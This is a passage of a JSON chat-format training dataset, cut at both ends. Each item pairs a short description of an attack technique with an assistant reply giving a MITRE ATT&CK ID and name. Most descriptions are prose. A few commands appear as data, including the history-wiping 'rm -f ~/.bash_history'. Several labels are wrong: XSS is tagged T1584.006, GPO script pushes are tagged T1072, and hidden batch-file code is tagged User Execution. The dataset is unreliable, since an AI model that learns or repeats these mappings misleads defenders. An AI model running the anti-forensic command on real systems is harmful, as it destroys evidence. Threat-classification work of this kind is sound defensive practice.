                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obfuscated commands are constructed by inserting random comments and whitespace to evade signature detection."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involves using regsvcs.exe to instantiate a .NET class from a remote assembly, achieving execution without writing files to disk."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a credential‑stealing tool that intercepts calls to the Windows Credential Provider (CredUIPromptForCredentials) to harvest passwords entered into login dialogs."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool extracts credential blobs from Windows Credential Manager for later reuse on other systems."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leaves a USB stick in a public area of the office; when an employee plugs it in, the malware automatically gathers and writes files to the stick."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware executed a PowerShell script that called InstallUtil to trigger a malicious assembly."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the Windows command 'gpresult /SCOPE COMPUTER /R' to list applied Group Policy Objects on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised laptop is taken offsite, and the attacker uses the built‑in USB ports to dump encrypted backups onto a portable SSD."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs a batch file that formats the C: drive with the `/p` switch to wipe data before reboot."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hosts a malicious .js file on a compromised forum that triggers a PowerShell payload with a single click."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker discovered that the service’s binary was world‑writable and placed a malicious executable to be executed on system boot."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves placing a malicious .chm file on the victim machine and executing it with mshta.exe to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted phishing email in German includes a link to a fake tax authority website designed to steal login information."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors executed \"crictl exec\" on a compromised node to spawn a bash process within a container for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor produces a self‑signed certificate to hide command‑and‑control traffic within HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage IFEO injection to achieve privilege escalation by making high‑privilege processes invoke a malicious payload as a debugger."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Nmap service version detection scripts to identify software versions of discovered services."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employed Google Cloud's IAP tunneling feature to connect to a victim's Compute Engine VM, establishing a persistent remote service channel."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs process injection via TLS by embedding its code in the process's thread-local storage and triggering execution via a remote thread."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group creates a YouTube channel with a name similar to a popular tech reviewer to upload tutorial videos that embed malware via hidden links."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware embeds its code within legitimate system scripts (e.g., batch files) and uses conditional execution to hide its behavior."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a compromised Microsoft Teams account to send a private message with a link to a malicious script hosted on a malicious web server."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exploited a misconfigured web server to serve a defacement page in place of the internal employee directory site."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses tar and gzip to bundle stolen files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro runs a command to overwrite each sector of the target's HDD with random data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell command `([ADSI]'LDAP://RootDSE').defaultNamingContext` is used followed by a directory search to list groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script uses the 'dd' utility to write zeros across the entire block device, effectively wiping the drive."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors place a crafted dynamic library in a location that is loaded before the legitimate library, causing the victim process to execute attacker code."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends targeted emails with malicious links that direct victims to a fake login portal to steal their corporate credentials."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software exploits Outlook Web Access to download the victim's mailbox data via API calls."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors compromise popular news sites and insert SEO‑friendly malicious redirects, so that search queries for current events lead to a malicious site delivering ransomware."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abused Group Policy Objects to push a harmful script to all domain-joined computers."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By backdating the timestamps of dropped payloads, the attacker attempts to avoid detection by timeline correlating tools."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The RAT creates an Active Setup registry entry that points to a custom DLL, which is loaded automatically during user logon for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A defacement event occurred where the attacker changed the site’s title tag to read “Owned by XYZ”."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Defacement observed: attacker posted a large red banner across all pages with the phrase “We are #Anonymous”."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using InstallUtil, the threat actor registers a malicious assembly, achieving code execution without direct binary execution."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious component is added to the list of loaded authentication packages, allowing execution with SYSTEM privileges on each logon."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware hooks system calls to modify timestamps returned to the user space, effectively hiding its activity."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leaves a voicemail claiming a suspicious activity on the target’s account and directs them to call a toll‑free number to resolve the issue, where credentials are harvested."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes \"docker info\" to gather host-level Docker daemon details and resource limits."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary initiates a remote desktop connection via port 3389 to gain interactive access to the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates system information by embedding it in ICMP echo request payloads."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scrambles data by converting it to hexadecimal representation before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro executed a routine that calls the Exchange Web Services API to wipe recent email logs from user mailboxes."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performs a cross‑site scripting (XSS) attack on a vulnerable web portal to execute malicious scripts in users’ browsers."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers upload stolen files to a public code snippet service, disguising the data as legitimate source code to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker drops a .vbs file on the victim machine and runs it using wscript.exe to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes a web service endpoint to silently stream logs to the commander's server, employing only outbound traffic."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing payload installs a launch agent in the user's Library folder to maintain persistence across sessions."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages LC_LOAD_DYLIB addition to hijack the binary’s loading process and run a malicious shared library."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a malicious Dockerfile to build and run a container that installs a keylogger on the host."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor queries the OS for a list of active application windows to discover potential footholds."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor leverages the cloud provider's restore feature to revert a tampered container instance back to a clean state, removing evidence of their activity."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A mobile malware leverages a vulnerability to exit the sandbox and launch a payload on the connected host machine."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor configures a Gmail filter that redirects all received messages to a personal email account for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan injects code into active processes to intercept and store keyboard input from privileged applications."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing email directed the user to a fake login portal that requested their MFA token, which was then relayed to the attacker in real time."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypts stolen data then concatenates random filler bytes, producing a stream that appears benign and bypasses data‑loss‑prevention filters."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a deceptive email claiming a software update is required, prompting users to submit their login credentials and internal network layout."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder disables the firewall by setting the policy to allow all traffic."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking the TFTP boot process, the threat actor injects malicious payloads during the pre‑OS phase."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary adjusts its command-line display to mimic a benign backup utility, preventing security tools from flagging the process as suspicious."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code is compiled and signed with a self‑generated certificate that is not recognized by the OS, yet the file is placed where a signed driver is expected."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script deploys a fake root certificate on the victim's system, allowing the attacker to decrypt HTTPS traffic."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised email attachment contains an Outlook form that, when opened, registers itself to run automatically at Outlook startup."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploitation, the adversary issues the command \"rm -f ~/.bash_history\" to delete the command history log."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the Windows built‑in tool vssadmin to generate a shadow copy before dumping the NTDS database for password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers perform network sweeps with vulnerability scanners to identify unpatched services on target hosts."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses a custom AES‑encrypted channel over UDP for fast data transfer."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rootkit on macOS reads the securityd process memory to harvest encrypted passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor abuses the AWS API Gateway to invoke a Lambda that runs a malicious shell command."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs a custom crawler to index all pages on a victim's domain, looking for exposed API endpoints and configuration files."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit retrieves credential blobs by dumping securityd's memory and decoding the stored entries."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script queries SMB shares by executing `Get-SmbShare` in PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages compromised AWS EC2 instances to run illicit crypto miners, draining the victim's cloud credits."
